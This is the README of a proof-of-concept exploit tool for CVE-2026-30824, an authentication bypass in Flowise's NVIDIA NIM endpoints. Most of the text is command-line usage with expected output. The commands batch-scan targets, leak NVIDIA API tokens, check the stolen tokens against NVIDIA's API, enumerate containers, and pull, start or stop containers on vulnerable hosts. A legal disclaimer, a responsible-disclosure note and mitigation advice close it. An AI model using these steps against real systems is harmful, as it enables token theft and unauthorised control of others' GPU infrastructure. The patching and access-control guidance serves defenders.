CVE-2026-30824 — Flowise NVIDIA NIM Authentication Bypass Checker and Exploit

A proof-of-concept checker and exploit for CVE-2026-30824, a critical authentication bypass vulnerability in Flowise that exposes NVIDIA NIM API endpoints without authentication.

Vulnerability Overview

CVE-2026-30824 is a critical authentication bypass in Flowise (< 3.0.13) that allows unauthenticated remote attackers to access NVIDIA NIM container management and API token generation endpoints.

Field	Value
CVSS Score	9.8 (Critical)
CWE	CWE-306: Missing Authentication for Critical Function
Affected Versions	Flowise < 3.0.13
Impact	Full container management, GPU access, token theft

Root Cause

The /api/v1/nvidia-nim/* path is whitelisted in the global authentication middleware, allowing unauthenticated access to:

Token generation and leaking
Container management (list, start, stop)
Docker image pulling
NVIDIA API integration

Features

✅ Vulnerability Detection — Quick check if target is vulnerable
✅ Token Extraction — Leak NVIDIA API tokens from vulnerable endpoints
✅ Token Validation — Verify tokens against NVIDIA API (demonstrate blast radius)
✅ Container Enumeration — List running NIM containers
✅ Batch Scanning — Scan multiple targets from a file
✅ SSL Bypass — Ignore self-signed certificates by default
✅ Colored Output — Easy-to-read status indicators (green/yellow/red)
✅ Reconnaissance — Full endpoint mapping and diagnostics

Installation

Prerequisites

Python 3.7+
requests library

Setup

# Clone or download the script
git clone <repository>
cd cve-2026-30824

# Install dependencies
pip install -r requirements.txt
# or
pip install requests

Usage

Basic Vulnerability Check

# Check if a single target is vulnerable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Expected output (VULNERABLE):
# [+] Target appears VULNERABLE (HTTP 200)
#     Response: {...}

Scan Multiple Targets

# Create targets.txt with one URL per line
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Scan all targets (fast mode, no prompts)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Expected summary output:
# ============================================================
# [*] Scan Summary
# ============================================================
# [+] VULNERABLE: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] PATCHED: 1
#     ✗ http://192.168.1.102:3000

Extract NVIDIA API Token

# Leak the NVIDIA API token from vulnerable endpoint
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Expected output:
# [*] Attempting to leak NVIDIA API token...
# [+] NVIDIA API Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token Type: Bearer
# [+] Expires In: 3600s

Validate Token Against NVIDIA API

# Verify a leaked token works against real NVIDIA API
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Expected output:
# [*] Validating token against NVIDIA API...
# [+] Token VALID! Access to 45 NVIDIA NIM models.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

List Running Containers

# Enumerate containers on the target
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Expected output:
# [*] Listing running containers...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

Full Reconnaissance (All Checks)

# Run all reconnaissance checks on vulnerable target
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

Command-Line Options

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Optional arguments:
  -h, --help                    Show this help message and exit
  -t, --target TARGET           Target URL (e.g., http://192.168.1.100:3000)
  -f, --targets-file FILE       File with list of targets (one per line)
  
Vulnerability Detection:
  --check                       Only check if target is vulnerable
  --scan-only                   Scan targets for vulnerability without prompts
  --debug                       Show request details and raw responses
  
Exploitation:
  --get-token                   Leak NVIDIA API token
  --validate-token TOKEN        Validate leaked token against NVIDIA API
  --list-containers             List running NIM containers
  --get-container CONTAINER_ID  Get container details
  --get-image IMAGE_ID          Get image details
  --pull-image IMAGE_TAG        Pull a Docker image (e.g., nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Start a container from an image tag
  --container-name NAME         Name for the started container
  --stop-container CONTAINER_ID Stop a running container
  --preload                     Trigger resource preload endpoint
  --all                         Run all reconnaissance checks
  
Advanced:
  --timeout SECONDS             Request timeout in seconds (default: 15)

Workflow Examples

Scenario 1: Internal Network Assessment

# 1. Scan entire subnet for vulnerable instances
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. For each vulnerable target, extract token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Validate token impact
python3 CVE-2026-30824.py --validate-token "<extracted-token>"

Scenario 2: Proof of Impact

# Verify vulnerability and demonstrate full blast radius
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# This will:
# 1. Check vulnerability
# 2. Extract NVIDIA API token
# 3. Validate token against NVIDIA API
# 4. List running containers
# 5. Show resource enumeration

Scenario 3: Continuous Monitoring

# Monitor a target periodically (via cron or scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

Output Indicators

Colors

🟢 GREEN — Vulnerable target or successful exploitation
🟡 YELLOW — Patched/not vulnerable or warning
🔴 RED — Error or connection failure

Status Codes

HTTP	Meaning
200	✅ Vulnerable (endpoint accessible)
400	✅ Vulnerable (application error but endpoint exists)

Troubleshooting

"Got HTML response instead of JSON"

Problem: The endpoint returns an HTML page instead of JSON API response.

Solutions:

Verify the Flowise version is actually vulnerable (< 3.0.13)
Check if the target is actually running Flowise (not a different app)
Verify the endpoint path hasn't changed in this version
Check if a reverse proxy or WAF is interfering

"Connection refused" or "Timeout"

Problem: Cannot reach the target.

Solutions:

# Test connectivity
curl -v http://192.168.1.100:3000/

# Increase timeout
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

SSL Certificate Error

Problem: Target uses self-signed or expired certificate.

Solution: The script disables SSL verification by default. If issues persist:

# Explicitly add port and protocol
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check

Token Validation Fails

Problem: Token extracted but validation against NVIDIA API fails.

Causes:

Token may have already expired
Token may be invalid (endpoint returns fake token)
Network connectivity to NVIDIA API blocked

Security Considerations

⚠️ LEGAL NOTICE

This tool is for authorized security testing only
Unauthorized access to computer systems is illegal
Only test systems you own or have explicit permission to test
The author assumes no liability for misuse

Responsible Disclosure

If you discover this vulnerability in the wild:

Document the findings
Contact the organization's security team
Allow reasonable time for remediation (typically 90 days)
Do not disclose publicly until patched

Mitigation

For System Administrators

Immediate:

Upgrade Flowise to version 3.0.13 or later
Implement network access controls (firewall rules)
Disable NVIDIA NIM integration if not needed
Monitor API logs for suspicious token usage

Long-term:

Use WAF rules to block /api/v1/nvidia-nim/* paths
Implement API rate limiting
Enable security monitoring and alerting
Conduct regular security assessments

For Developers

Review all authentication bypasses in the codebase
Implement default-deny access policies
Add comprehensive API endpoint security tests
Use automated security scanning in CI/CD

References

License

This tool is provided for educational and authorized security testing purposes only. See LICENSE file for details.

Disclaimer

This exploit is provided "as-is" without warranty. Use only on systems you own or have explicit written permission to test. The author is not responsible for any misuse or damage caused by this tool.

Author

Created for authorized penetration testing and security research.

Last Updated: April 2026

CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication

Most Popular